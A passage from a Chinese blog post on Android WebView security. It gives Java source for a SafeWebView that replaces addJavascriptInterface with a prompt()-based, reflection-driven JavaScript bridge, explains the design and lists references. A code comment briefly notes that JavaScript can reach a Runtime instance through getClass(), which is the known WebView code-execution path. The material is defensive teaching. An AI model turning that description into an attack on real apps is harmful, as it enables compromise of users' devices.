injectJavascriptInterfaces(WebView webView) {if (webView instanceof SafeWebView) {injectJavascriptInterfaces();}}/*** 注入我們構造的 JS*/private void injectJavascriptInterfaces() {if (!TextUtils.isEmpty(mJsStringCache)) {loadUrl(mJsStringCache);return;}mJsStringCache = genJavascriptInterfacesString();loadUrl(mJsStringCache);}/*** 根據緩存的待注入java對象,生成映射的JavaScript代碼,也就是橋梁(SDK4.2之前通過反射生成)*/private String genJavascriptInterfacesString() {if (mJsInterfaceMap.size() == 0) {return null;}/** 要注入的JS的格式,其中XXX為注入的對象的方法名,例如注入的對象中有一個方法A,那么這個XXX就是A* 如果這個對象中有多個方法,則會注冊多個window.XXX_js_interface_name塊,我們是用反射的方法遍歷* 注入對象中的帶有@JavaScripterInterface標注的方法** javascript:(function JsAddJavascriptInterface_(){* if(typeof(window.XXX_js_interface_name)!='undefined'){* console.log('window.XXX_js_interface_name is exist!!');* }else{* window.XXX_js_interface_name={* XXX:function(arg0,arg1){* return prompt('MyApp:'+JSON.stringify({obj:'XXX_js_interface_name',func:'XXX_',args:[arg0,arg1]}));* },* };* }* })()*/Iterator<Map.Entry<String, Object>> iterator = mJsInterfaceMap.entrySet().iterator();//HEADStringBuilder script = new StringBuilder();script.append("javascript:(function JsAddJavascriptInterface_(){");// 遍歷待注入java對象,生成相應的js對象try {while (iterator.hasNext()) {Map.Entry<String, Object> entry = iterator.next();String interfaceName = entry.getKey();Object obj = entry.getValue();// 生成相應的js方法createJsMethod(interfaceName, obj, script);}} catch (Exception e) {e.printStackTrace();}// Endscript.append("})()");return script.toString();}/*** 根據待注入的java對象,生成js方法** @param interfaceName 對象名* @param obj 待注入的java對象* @param script js代碼*/private void createJsMethod(String interfaceName, Object obj, StringBuilder script) {if (TextUtils.isEmpty(interfaceName) || (null == obj) || (null == script)) {return;}Class<? extends Object> objClass = obj.getClass();script.append("if(typeof(window.").append(interfaceName).append(")!='undefined'){");if (DEBUG) {script.append(" console.log('window." + interfaceName + "_js_interface_name is exist!!');");}script.append("}else {");script.append(" window.").append(interfaceName).append("={");// 通過反射機制,添加java對象的方法Method[] methods = objClass.getMethods();for (Method method : methods) {String methodName = method.getName();// 過濾掉Object類的方法,包括getClass()方法,因為在Js中就是通過getClass()方法來得到Runtime實例if (filterMethods(methodName)) {continue;}script.append(" ").append(methodName).append(":function(");// 添加方法的參數int argCount = method.getParameterTypes().length;if (argCount > 0) {int maxCount = argCount - 1;for (int i = 0; i < maxCount; ++i) {script.append(VAR_ARG_PREFIX).append(i).append(",");}script.append(VAR_ARG_PREFIX).append(argCount - 1);}script.append(") {");// Add implementationif (method.getReturnType() != void.class) {script.append(" return ").append("prompt('").append(MSG_PROMPT_HEADER).append("'+");} else {script.append(" prompt('").append(MSG_PROMPT_HEADER).append("'+");}// Begin JSONscript.append("JSON.stringify({");script.append(KEY_INTERFACE_NAME).append(":'").append(interfaceName).append("',");script.append(KEY_FUNCTION_NAME).append(":'").append(methodName).append("',");script.append(KEY_ARG_ARRAY).append(":[");// 添加參數到JSON串中if (argCount > 0) {int max = argCount - 1;for (int i = 0; i < max; i++) {script.append(VAR_ARG_PREFIX).append(i).append(",");}script.append(VAR_ARG_PREFIX).append(max);}// End JSONscript.append("]})");// End promptscript.append(");");// End functionscript.append(" }, ");}// End of objscript.append(" };");// End of if or elsescript.append("}");}/*** 檢查是否是被過濾的方法*/private boolean filterMethods(String methodName) {for (String method : mFilterMethods) {if (method.equals(methodName)) {return true;}}return false;}/*** 利用反射,調用java對象的方法。* <p>* 從緩存中取出key=interfaceName的java對象,并調用其methodName方法** @param result* @param interfaceName 對象名* @param methodName 方法名* @param args 參數列表* @return*/private boolean invokeJSInterfaceMethod(JsPromptResult result, String interfaceName, String methodName, Object[] args) {boolean succeed = false;final Object obj = mJsInterfaceMap.get(interfaceName);if (null == obj) {result.cancel();return false;}Class<?>[] parameterTypes = null;int count = 0;if (args != null) {count = args.length;}if (count > 0) {parameterTypes = new Class[count];for (int i = 0; i < count; ++i) {parameterTypes[i] = getClassFromJsonObject(args[i]);}}try {Method method = obj.getClass().getMethod(methodName, parameterTypes);Object returnObj = method.invoke(obj, args); // 執行接口調用boolean isVoid = returnObj == null || returnObj.getClass() == void.class;String returnValue = isVoid ? "" : returnObj.toString();result.confirm(returnValue); // 通過prompt返回調用結果succeed = true;} catch (NoSuchMethodException e) {e.printStackTrace();} catch (Exception e) {e.printStackTrace();}result.cancel();return succeed;}/*** 解析出參數類型** @param obj* @return*/private Class<?> getClassFromJsonObject(Object obj) {Class<?> cls = obj.getClass();// js對象只支持int boolean string三種類型if (cls == Integer.class) {cls = Integer.TYPE;} else if (cls == Boolean.class) {cls = Boolean.TYPE;} else {cls = String.class;}return cls;}/*** 解析JavaScript調用prompt的參數message,提取出對象名、方法名,以及參數列表,再利用反射,調用java對象的方法。** @param view* @param url* @param message MyApp:{"obj":"jsInterface","func":"onButtonClick","args":["從JS中傳遞過來的文本!!!"]}* @param defaultValue* @param result* @return*/private boolean handleJsInterface(WebView view, String url, String message, String defaultValue, JsPromptResult result) {String prefix = MSG_PROMPT_HEADER;if (!message.startsWith(prefix)) {return false;}String jsonStr = message.substring(prefix.length());try {JSONObject jsonObj = new JSONObject(jsonStr);// 對象名稱String interfaceName = jsonObj.getString(KEY_INTERFACE_NAME);// 方法名稱String methodName = jsonObj.getString(KEY_FUNCTION_NAME);// 參數數組JSONArray argsArray = jsonObj.getJSONArray(KEY_ARG_ARRAY);Object[] args = null;if (null != argsArray) {int count = argsArray.length();if (count > 0) {args = new Object[count];for (int i = 0; i < count; ++i) {Object arg = argsArray.get(i);if (!arg.toString().equals("null")) {args[i] = arg;} else {args[i] = null;}}}}if (invokeJSInterfaceMethod(result, interfaceName, methodName, args)) {return true;}} catch (Exception e) {e.printStackTrace();}result.cancel();return false;}private class WebChromeClientEx extends WebChromeClient {@Overridepublic final void onProgressChanged(WebView view, int newProgress) {injectJavascriptInterfaces(view);super.onProgressChanged(view, newProgress);}@Overridepublic final boolean onJsPrompt(WebView view, String url, String message, String defaultValue, JsPromptResult result) {if (view instanceof SafeWebView) {if (handleJsInterface(view, url, message, defaultValue, result)) {return true;}}return super.onJsPrompt(view, url, message, defaultValue, result);}@Overridepublic final void onReceivedTitle(WebView view, String title) {injectJavascriptInterfaces(view);}}private class WebViewClientEx extends WebViewClient {@Overridepublic void onLoadResource(WebView view, String url) {injectJavascriptInterfaces(view);super.onLoadResource(view, url);}@Overridepublic void doUpdateVisitedHistory(WebView view, String url, boolean isReload) {injectJavascriptInterfaces(view);super.doUpdateVisitedHistory(view, url, isReload);}@Overridepublic void onPageStarted(WebView view, String url, Bitmap favicon) {injectJavascriptInterfaces(view);super.onPageStarted(view, url, favicon);}@Overridepublic void onPageFinished(WebView view, String url) {injectJavascriptInterfaces(view);super.onPageFinished(view, url);}} }
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86
    • 87
    • 88
    • 89
    • 90
    • 91
    • 92
    • 93
    • 94
    • 95
    • 96
    • 97
    • 98
    • 99
    • 100
    • 101
    • 102
    • 103
    • 104
    • 105
    • 106
    • 107
    • 108
    • 109
    • 110
    • 111
    • 112
    • 113
    • 114
    • 115
    • 116
    • 117
    • 118
    • 119
    • 120
    • 121
    • 122
    • 123
    • 124
    • 125
    • 126
    • 127
    • 128
    • 129
    • 130
    • 131
    • 132
    • 133
    • 134
    • 135
    • 136
    • 137
    • 138
    • 139
    • 140
    • 141
    • 142
    • 143
    • 144
    • 145
    • 146
    • 147
    • 148
    • 149
    • 150
    • 151
    • 152
    • 153
    • 154
    • 155
    • 156
    • 157
    • 158
    • 159
    • 160
    • 161
    • 162
    • 163
    • 164
    • 165
    • 166
    • 167
    • 168
    • 169
    • 170
    • 171
    • 172
    • 173
    • 174
    • 175
    • 176
    • 177
    • 178
    • 179
    • 180
    • 181
    • 182
    • 183
    • 184
    • 185
    • 186
    • 187
    • 188
    • 189
    • 190
    • 191
    • 192
    • 193
    • 194
    • 195
    • 196
    • 197
    • 198
    • 199
    • 200
    • 201
    • 202
    • 203
    • 204
    • 205
    • 206
    • 207
    • 208
    • 209
    • 210
    • 211
    • 212
    • 213
    • 214
    • 215
    • 216
    • 217
    • 218
    • 219
    • 220
    • 221
    • 222
    • 223
    • 224
    • 225
    • 226
    • 227
    • 228
    • 229
    • 230
    • 231
    • 232
    • 233
    • 234
    • 235
    • 236
    • 237
    • 238
    • 239
    • 240
    • 241
    • 242
    • 243
    • 244
    • 245
    • 246
    • 247
    • 248
    • 249
    • 250
    • 251
    • 252
    • 253
    • 254
    • 255
    • 256
    • 257
    • 258
    • 259
    • 260
    • 261
    • 262
    • 263
    • 264
    • 265
    • 266
    • 267
    • 268
    • 269
    • 270
    • 271
    • 272
    • 273
    • 274
    • 275
    • 276
    • 277
    • 278
    • 279
    • 280
    • 281
    • 282
    • 283
    • 284
    • 285
    • 286
    • 287
    • 288
    • 289
    • 290
    • 291
    • 292
    • 293
    • 294
    • 295
    • 296
    • 297
    • 298
    • 299
    • 300
    • 301
    • 302
    • 303
    • 304
    • 305
    • 306
    • 307
    • 308
    • 309
    • 310
    • 311
    • 312
    • 313
    • 314
    • 315
    • 316
    • 317
    • 318
    • 319
    • 320
    • 321
    • 322
    • 323
    • 324
    • 325
    • 326
    • 327
    • 328
    • 329
    • 330
    • 331
    • 332
    • 333
    • 334
    • 335
    • 336
    • 337
    • 338
    • 339
    • 340
    • 341
    • 342
    • 343
    • 344
    • 345
    • 346
    • 347
    • 348
    • 349
    • 350
    • 351
    • 352
    • 353
    • 354
    • 355
    • 356
    • 357
    • 358
    • 359
    • 360
    • 361
    • 362
    • 363
    • 364
    • 365
    • 366
    • 367
    • 368
    • 369
    • 370
    • 371
    • 372
    • 373
    • 374
    • 375
    • 376
    • 377
    • 378
    • 379
    • 380
    • 381
    • 382
    • 383
    • 384
    • 385
    • 386
    • 387
    • 388
    • 389
    • 390
    • 391
    • 392
    • 393
    • 394
    • 395
    • 396
    • 397
    • 398
    • 399
    • 400
    • 401
    • 402
    • 403
    • 404
    • 405
    • 406
    • 407
    • 408
    • 409
    • 410
    • 411
    • 412
    • 413
    • 414
    • 415
    • 416
    • 417
    • 418
    • 419
    • 420
    • 421
    • 422
    • 423
    • 424
    • 425
    • 426
    • 427
    • 428
    • 429
    • 430
    • 431
    • 432
    • 433
    • 434
    • 435
    • 436
    • 437
    • 438
    • 439
    • 440
    • 441
    • 442
    • 443
    • 444
    • 445
    • 446
    • 447
    • 448
    • 449
    • 450
    • 451
    • 452
    • 453
    • 454
    • 455
    • 456
    • 457
    • 458
    • 459
    • 460
    • 461
    • 462
    • 463
    • 464
    • 465
    • 466
    • 467
    • 468
    • 469
    • 470
    • 471
    • 472
    • 473
    • 474
    • 475
    • 476
    • 477
    • 478
    • 479
    • 480
    • 481
    • 482
    • 483
    • 484
    • 485
    • 486
    • 487
    • 488
    • 489
    • 490
    • 491
    • 492
    • 493
    • 494
    • 495
    • 496
    • 497
    • 498
    • 499
    • 500
    • 501
    • 502
    • 503
    • 504
    • 505
    • 506
    • 507
    • 508
    • 509
    這段代碼基本是按照上面所描述的情況來寫的,修復了上面提到的幾個漏洞,這里再描述一下幾個需要注意的點:
    • removeUnSafeJavascriptImpl :該函數用來在特定版本刪除上面提到的幾個 Google 注入的對象;
    • setWebViewClient 和 setWebChromeClient :重寫這兩個函數用來防止子類使用原生的 WebViewClient 和 WebChromeClient 導致失效;
    • 在上面提到的 onLoadResource,doUpdateVisitedHistory,onPageStarted,onPageFinished,onReceivedTitle,onProgressChanged 幾個方法里面調用 injectJavascriptInterfaces 方法來注入生成的 JS 代碼;
    • genJavascriptInterfacesString 函數用來生成需要注入的 JS 代碼,其中通過 filterMethods 方法過濾掉了上面提到的幾個需要過濾的方法;
    • 注入完 JS 之后,Web 端就可以根據方法名調用對應終端注入的這段 JS 函數,然后調用到終端的 onJsPrompt 方法,通過 message 變量將信息傳遞過來,終端解析出對象、方法名和參數,最后通過反射的方法調用到 Native 層的代碼,另外如果需要返回值,則可以通過 JsPromptResult 對象通過 confirm 函數將信息從 Native 層傳遞給 Web 端,這樣就實現了一個完整的調用鏈。

    引用

    http://group.jobbole.com/26417/?utm_source=android.jobbole.com&utm_medium=sidebar-group-topic?
    http://blog.csdn.net/jiangwei0910410003/article/details/52687530?
    http://blog.csdn.net/leehong2005/article/details/11808557?
    https://github.com/yushiwo/WebViewBugDemo/blob/master/src/com/lee/webviewbug/WebViewEx.java?
    http://blog.csdn.net/sk719887916/article/details/52402470?
    https://zhuanlan.zhihu.com/p/24202408?
    https://github.com/lzyzsd/JsBridge?
    http://www.jianshu.com/p/93cea79a2443#?
    http://www.codexiu.cn/android/blog/33214/?
    https://github.com/pedant/safe-java-js-webview-bridge?
    http://blog.sina.com.cn/s/blog_777f9dbb0102v8by.html?
    http://www.cnblogs.com/chaoyuehedy/p/5556557.html?
    http://blogs.360.cn/360mobile/2014/09/22/webview%E8%B7%A8%E6%BA%90%E6%94%BB%E5%87%BB%E5%88%86%E6%9E%90/
    https://my.oschina.net/zhibuji/blog/100580?
    http://www.cnblogs.com/punkisnotdead/p/5062631.html?utm_source=tuicool&utm_medium=referral

    版權聲明:轉載請標明出處http://blog.csdn.net/self_study,對技術感興趣的同鞋加群544645972一起交流 http://blog.csdn.net/zhao_zepeng/article/details/55046348

    總結

    以上是生活随笔為你收集整理的android WebView详解,常见漏洞详解和安全源码(下)的全部內容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。